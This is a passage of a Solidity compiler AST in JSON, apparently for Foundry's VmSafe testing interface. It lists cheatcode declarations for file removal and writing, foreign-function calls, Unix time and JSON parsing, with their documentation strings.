13"},"returnParameters":{"id":12840,"nodeType":"ParameterList","parameters":[],"src":"24615:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12847,"nodeType":"FunctionDefinition","src":"24949:51:13","nodes":[],"documentation":{"id":12842,"nodeType":"StructuredDocumentation","src":"24622:322:13","text":"Removes a file from the filesystem.\n This cheatcode will revert in the following situations, but is not limited to just these cases:\n - `path` points to a directory.\n - The file doesn't exist.\n - The user lacks permissions to remove the file.\n `path` is relative to the project root."},"functionSelector":"f1afe04d","implemented":false,"kind":"function","modifiers":[],"name":"removeFile","nameLocation":"24958:10:13","parameters":{"id":12845,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12844,"mutability":"mutable","name":"path","nameLocation":"24985:4:13","nodeType":"VariableDeclaration","scope":12847,"src":"24969:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12843,"name":"string","nodeType":"ElementaryTypeName","src":"24969:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"24968:22:13"},"returnParameters":{"id":12846,"nodeType":"ParameterList","parameters":[],"src":"24999:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12857,"nodeType":"FunctionDefinition","src":"25107:91:13","nodes":[],"documentation":{"id":12848,"nodeType":"StructuredDocumentation","src":"25006:96:13","text":"Performs a foreign function call via terminal and returns the exit code, stdout, and stderr."},"functionSelector":"f45c1ce7","implemented":false,"kind":"function","modifiers":[],"name":"tryFfi","nameLocation":"25116:6:13","parameters":{"id":12852,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12851,"mutability":"mutable","name":"commandInput","nameLocation":"25141:12:13","nodeType":"VariableDeclaration","scope":12857,"src":"25123:30:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_string_calldata_ptr_$dyn_calldata_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":12849,"name":"string","nodeType":"ElementaryTypeName","src":"25123:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":12850,"nodeType":"ArrayTypeName","src":"25123:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"}],"src":"25122:32:13"},"returnParameters":{"id":12856,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12855,"mutability":"mutable","name":"result","nameLocation":"25190:6:13","nodeType":"VariableDeclaration","scope":12857,"src":"25173:23:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_FfiResult_$12133_memory_ptr","typeString":"struct VmSafe.FfiResult"},"typeName":{"id":12854,"nodeType":"UserDefinedTypeName","pathNode":{"id":12853,"name":"FfiResult","nameLocations":["25173:9:13"],"nodeType":"IdentifierPath","referencedDeclaration":12133,"src":"25173:9:13"},"referencedDeclaration":12133,"src":"25173:9:13","typeDescriptions":{"typeIdentifier":"t_struct$_FfiResult_$12133_storage_ptr","typeString":"struct VmSafe.FfiResult"}},"visibility":"internal"}],"src":"25172:25:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12863,"nodeType":"FunctionDefinition","src":"25263:60:13","nodes":[],"documentation":{"id":12858,"nodeType":"StructuredDocumentation","src":"25204:54:13","text":"Returns the time since unix epoch in milliseconds."},"functionSelector":"625387dc","implemented":false,"kind":"function","modifiers":[],"name":"unixTime","nameLocation":"25272:8:13","parameters":{"id":12859,"nodeType":"ParameterList","parameters":[],"src":"25280:2:13"},"returnParameters":{"id":12862,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12861,"mutability":"mutable","name":"milliseconds","nameLocation":"25309:12:13","nodeType":"VariableDeclaration","scope":12863,"src":"25301:20:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12860,"name":"uint256","nodeType":"ElementaryTypeName","src":"25301:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"25300:22:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12871,"nodeType":"FunctionDefinition","src":"25492:72:13","nodes":[],"documentation":{"id":12864,"nodeType":"StructuredDocumentation","src":"25329:158:13","text":"Writes data to file, creating a file if it does not exist, and entirely replacing its contents if it does.\n `path` is relative to the project root."},"functionSelector":"897e0a97","implemented":false,"kind":"function","modifiers":[],"name":"writeFile","nameLocation":"25501:9:13","parameters":{"id":12869,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12866,"mutability":"mutable","name":"path","nameLocation":"25527:4:13","nodeType":"VariableDeclaration","scope":12871,"src":"25511:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12865,"name":"string","nodeType":"ElementaryTypeName","src":"25511:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12868,"mutability":"mutable","name":"data","nameLocation":"25549:4:13","nodeType":"VariableDeclaration","scope":12871,"src":"25533:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12867,"name":"string","nodeType":"ElementaryTypeName","src":"25533:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"25510:44:13"},"returnParameters":{"id":12870,"nodeType":"ParameterList","parameters":[],"src":"25563:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12879,"nodeType":"FunctionDefinition","src":"25742:77:13","nodes":[],"documentation":{"id":12872,"nodeType":"StructuredDocumentation","src":"25570:167:13","text":"Writes binary data to a file, creating a file if it does not exist, and entirely replacing its contents if it does.\n `path` is relative to the project root."},"functionSelector":"1f21fc80","implemented":false,"kind":"function","modifiers":[],"name":"writeFileBinary","nameLocation":"25751:15:13","parameters":{"id":12877,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12874,"mutability":"mutable","name":"path","nameLocation":"25783:4:13","nodeType":"VariableDeclaration","scope":12879,"src":"25767:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12873,"name":"string","nodeType":"ElementaryTypeName","src":"25767:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12876,"mutability":"mutable","name":"data","nameLocation":"25804:4:13","nodeType":"VariableDeclaration","scope":12879,"src":"25789:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":12875,"name":"bytes","nodeType":"ElementaryTypeName","src":"25789:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"25766:43:13"},"returnParameters":{"id":12878,"nodeType":"ParameterList","parameters":[],"src":"25818:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12887,"nodeType":"FunctionDefinition","src":"25940:72:13","nodes":[],"documentation":{"id":12880,"nodeType":"StructuredDocumentation","src":"25825:110:13","text":"Writes line to file, creating a file if it does not exist.\n `path` is relative to the project root."},"functionSelector":"619d897f","implemented":false,"kind":"function","modifiers":[],"name":"writeLine","nameLocation":"25949:9:13","parameters":{"id":12885,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12882,"mutability":"mutable","name":"path","nameLocation":"25975:4:13","nodeType":"VariableDeclaration","scope":12887,"src":"25959:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12881,"name":"string","nodeType":"ElementaryTypeName","src":"25959:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12884,"mutability":"mutable","name":"data","nameLocation":"25997:4:13","nodeType":"VariableDeclaration","scope":12887,"src":"25981:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12883,"name":"string","nodeType":"ElementaryTypeName","src":"25981:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"25958:44:13"},"returnParameters":{"id":12886,"nodeType":"ParameterList","parameters":[],"src":"26011:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12897,"nodeType":"FunctionDefinition","src":"26205:91:13","nodes":[],"documentation":{"id":12888,"nodeType":"StructuredDocumentation","src":"26049:151:13","text":"Checks if `key` exists in a JSON object\n `keyExists` is being deprecated in favor of `keyExistsJson`. It will be removed in future versions."},"functionSelector":"528a683c","implemented":false,"kind":"function","modifiers":[],"name":"keyExists","nameLocation":"26214:9:13","parameters":{"id":12893,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12890,"mutability":"mutable","name":"json","nameLocation":"26240:4:13","nodeType":"VariableDeclaration","scope":12897,"src":"26224:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12889,"name":"string","nodeType":"ElementaryTypeName","src":"26224:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12892,"mutability":"mutable","name":"key","nameLocation":"26262:3:13","nodeType":"VariableDeclaration","scope":12897,"src":"26246:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12891,"name":"string","nodeType":"ElementaryTypeName","src":"26246:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"26223:43:13"},"returnParameters":{"id":12896,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12895,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":12897,"src":"26290:4:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12894,"name":"bool","nodeType":"ElementaryTypeName","src":"26290:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"26289:6:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12907,"nodeType":"FunctionDefinition","src":"26351:95:13","nodes":[],"documentation":{"id":12898,"nodeType":"StructuredDocumentation","src":"26302:44:13","text":"Checks if `key` exists in a JSON object."},"functionSelector":"db4235f6","implemented":false,"kind":"function","modifiers":[],"name":"keyExistsJson","nameLocation":"26360:13:13","parameters":{"id":12903,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12900,"mutability":"mutable","name":"json","nameLocation":"26390:4:13","nodeType":"VariableDeclaration","scope":12907,"src":"26374:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12899,"name":"string","nodeType":"ElementaryTypeName","src":"26374:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12902,"mutability":"mutable","name":"key","nameLocation":"26412:3:13","nodeType":"VariableDeclaration","scope":12907,"src":"26396:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12901,"name":"string","nodeType":"ElementaryTypeName","src":"26396:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"26373:43:13"},"returnParameters":{"id":12906,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12905,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":12907,"src":"26440:4:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12904,"name":"bool","nodeType":"ElementaryTypeName","src":"26440:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"26439:6:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12917,"nodeType":"FunctionDefinition","src":"26527:101:13","nodes":[],"documentation":{"id":12908,"nodeType":"StructuredDocumentation","src":"26452:70:13","text":"Parses a string of JSON data at `key` and coerces it to `address`."},"functionSelector":"1e19e657","implemented":false,"kind":"function","modifiers":[],"name":"parseJsonAddress","nameLocation":"26536:16:13","parameters":{"id":12913,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12910,"mutability":"mutable","name":"json","nameLocation":"26569:4:13","nodeType":"VariableDeclaration","scope":12917,"src":"26553:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12909,"name":"string","nodeType":"ElementaryTypeName","src":"26553:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12912,"mutability":"mutable","name":"key","nameLocation":"26591:3:13","nodeType":"VariableDeclaration","scope":12917,"src":"26575:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12911,"name":"string","nodeType":"ElementaryTypeName","src":"26575:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"26552:43:13"},"returnParameters":{"id":12916,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12915,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":12917,"src":"26619:7:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":12914,"name":"address","nodeType":"ElementaryTypeName","src":"26619:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"26618:9:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":12928,"nodeType":"FunctionDefinition","src":"26711:139:13","nodes":[],"documentation":{"id":12918,"nodeType":"StructuredDocumentation","src":"26634:72:13","text":"Parses a string of JSON data at `key` and coerces it to `address[]`."},"functionSelector":"2fce7883","implemented":false,"kind":"function","modifiers":[],"name":"parseJsonAddressArray","nameLocation":"26720:21:13","parameters":{"id":12923,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12920,"mutability":"mutable","name":"json","nameLocation":"26758:4:13","nodeType":"VariableDeclaration","scope":12928,"src":"26742:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12919,"name":"string","nodeType":"ElementaryTypeName","src":"26742:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12922,"mutability":"mutable","name":"key","nameLocation":"26780:3:13","nodeType":"VariableDeclaration","scope":12928,"src":"26764:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12921,"name":"string","nodeType":"ElementaryTypeName","src":"26764:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"26741:43:13"},"returnParameters":{"id":12927,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12926,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":12928,"src":"26832:16:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_memory_ptr","typeString":"address[]"},"typeName":{"baseType":{"id":12924,"name":"address","nodeType":"ElementaryTypeName","src":"26832:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":12925,"nodeType":"ArrayTypeName","src":"26832:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage_ptr","typeString":"address[]"}},"visibility":"internal"}],"src":"26831:18:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":12938,"nodeType":"FunctionDefinition","src":"26928:95:13","nodes":[],"documentation":{"id":12929,"nodeType":"StructuredDocumentation","src":"26856:67:13","text":"Parses a string of JSON data at `key` and coerces it to `bool`."},"functionSelector":"9f86dc91","implemented":false,"kind":"function","modifiers":[],"name":"parseJsonBool","nameLocation":"26937:13:13","parameters":{"id":12934,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12931,"mutability":"mutable","name":"json","nameLocation":"26967:4:13","nodeType":"VariableDeclaration","scope":12938,"src":"26951:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12930,"name":"string","nodeType":"ElementaryTypeName","src":"26951:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12933,"mutability":"mutable","name":"key","nameLocation":"26989:3:13","nodeType":"VariableDeclaration","scope":12938,"src":"26973:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12932,"name":"string","nodeType":"ElementaryTypeName","src":"26973:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"26950:43:13"},"returnParameters":{"id":12937,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12936,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":12938,"src":"27017:4:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12935,"name":"bool","nodeType":"ElementaryTypeName","src":"27017:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"27016:6:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":12949,"nodeType":"FunctionDefinition","src":"27103:109:13","nodes":[],"documentation":{"id":12939,"nodeType":"StructuredDocumentation","src":"27029:69:13","text":"Parses a string of JSON data at `key` and coerces it to `bool[]`."},"functionSelector":"91f3b94f","implemented":false,"kind":"function","modifiers":[],"name":"parseJsonBoolArray","nameLocation":"27112:18:13","parameters":{"id":12944,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12941,"mutability":"mutable","name":"json","nameLocation":"27147:4:13","nodeType":"VariableDeclaration","scope":12949,"src":"27131:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12940,"name":"string","nodeType":"ElementaryTypeName","src":"27131:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12943,"mutability":"mutable","name":"key","nameLocation":"27169:3:13","nodeType":"VariableDeclaration","scope":12949,"src":"27153:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12942,"name":"string","nodeType":"ElementaryTypeName","src":"27153:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"27130:43:13"},"returnParameters":{"id":12948,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12947,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":12949,"src":"27197:13:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[]"},"typeName":{"baseType":{"id":12945,"name":"bool","nodeType":"ElementaryTypeName","src":"27197:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":12946,"nodeType":"ArrayTypeName","src":"27197:6:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_storage_ptr","typeString":"bool[]"}},"visibility":"internal"}],"src":"27196:15:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":12959,"nodeType":"FunctionDefinition","src":"27291:104:13","nodes":[],"documentation":{"id":12950,"nodeType":"StructuredDocumentation","src":"27218:68:13","text":"Parses a string of JSON data at `key` and coerces it to `bytes`."},"functionSelector":"fd921be8","implemented":false,"kind":"function","modifiers":[],"name":"parseJsonBytes","nameLocation":"27300:14:13","parameters":{"id":12955,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12952,"mutability":"mutable","name":"json","nameLocation":"27331:4:13","nodeType":"VariableDeclaration","scope":12959,"src":"27315:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12951,"name":"string","nodeType":"ElementaryTypeName","src":"27315:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12954,"mutability":"mutable","name":"key","nameLocation":"27353:3:13","nodeType":"VariableDeclaration","scope":12959,"src":"27337:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12953,"name":"string","nodeType":"ElementaryTypeName","src":"27337:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"27314:43:13"},"returnParameters":{"id":12958,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12957,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":12959,"src":"27381:12:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":12956,"name":"bytes","nodeType":"ElementaryTypeName","src":"27381:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"27380:14:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":12969,"nodeType":"FunctionDefinition","src":"27476:101:13","nodes":[],"documentation":{"id":12960,"nodeType":"StructuredDocumentation","src":"27401:70:13","text":"Parses a string of JSON data at `key` and coerces it to `bytes32`."},"functionSelector":"1777e59d","implemented":false,"kind":"function","modifiers":[],"name":"parseJsonBytes32","nameLocation":"27485:16:13","parameters":{"id":12965,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12962,"mutability":"mutable","name":"json","nameLocation":"27518:4:13","nodeType":"VariableDeclaration","scope":12969,"src":"27502:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12961,"name":"string","nodeType":"ElementaryTypeName","src":"27502:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12964,"mutability":"mutable","name":"key","nameLocation":"27540:3:13","nodeType":"VariableDeclaration","scope":12969,"src":"27524:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12963,"name":"string","nodeType":"ElementaryTypeName","src":"27524:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"27501:43:13"},"returnParameters":{"id":12968,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12967,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":12969,"src":"27568:7:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12966,"name":"bytes32","nodeType":"ElementaryTypeName","src":"27568:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"27567:9:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":12980,"nodeType":"FunctionDefinition","src":"27660:139:13","nodes":[],"documentation":{"id":12970,"nodeType":"StructuredDocumentation","src":"27583:72:13","text":"Parses a string of JSON data at `key` and coerces it to `bytes32[]`."},"functionSelector":"91c75bc3","implemented":false,"kind":"function","modifiers":[],"name":"parseJsonBytes32Array","nameLocation":"27669:21:13","parameters":{"id":12975,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12972,"mutability":"mutable","name":"json","nameLocation":"27707:4:13","nodeType":"VariableDeclaration","scope":12980,"src":"27691:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12971,"name":"string","nodeType":"ElementaryTypeName","src":"27691:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12974,"mutability":"mutable","name":"key","nameLocation":"27729:3:13","nodeType":"VariableDeclaration","scope":12980,"src":"27713:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12973,"name":"string","nodeType":"ElementaryTypeName","src":"27713:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"27690:43:13"},"returnParameters":{"id":12979,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12978,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":12980,"src":"27781:16:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":12976,"name":"bytes32","nodeType":"ElementaryTypeName","src":"27781:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":12977,"nodeType":"ArrayTypeName","src":"27781:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"}],"src":"27780:18:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":12991,"nodeType":"FunctionDefinition","src":"27880:111:13","nodes":[],"documentation":{"id":12981,"nodeType":"StructuredDocumentation","src":"27805:70:13","text":"Parses a string of JSON data at `key` and coerces it to `bytes[]`."},"functionSelector":"6631aa99","implemented":false,"kind":"function","modifiers":[],"name":"parseJsonBytesArray","nameLocation":"27889:19:13","parameters":{"id":12986,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12983,"mutability":"mutable","name":"json","nameLocation":"27925:4:13","nodeType":"VariableDeclaration","scope":12991,"src":"27909:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12982,"name":"string","nodeType":"ElementaryTypeName","src":"27909:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12985,"mutability":"mutable","name":"key","nameLocation":"27947:3:13","nodeType":"VariableDeclaration","scope":12991,"src":"27931:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12984,"name":"string","nodeType":"ElementaryTypeName","src":"27931:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"27908:43:13"},"returnParameters":{"id":12990,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12989,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":12991,"src":"27975:14:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes[]"},"typeName":{"baseType":{"id":12987,"name":"bytes","nodeType":"ElementaryTypeName","src":"27975:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":12988,"nodeType":"ArrayTypeName","src":"27975:7:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_storage_ptr","typeString":"bytes[]"}},"visibility":"internal"}],"src":"27974:16:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13001,"nodeType":"FunctionDefinition","src":"28071:96:13","nodes":[],"documentation":{"id":12992,"nodeType":"StructuredDocumentation","src":"27997:69:13","text":"Parses a string of JSON data at `key` and coerces it to 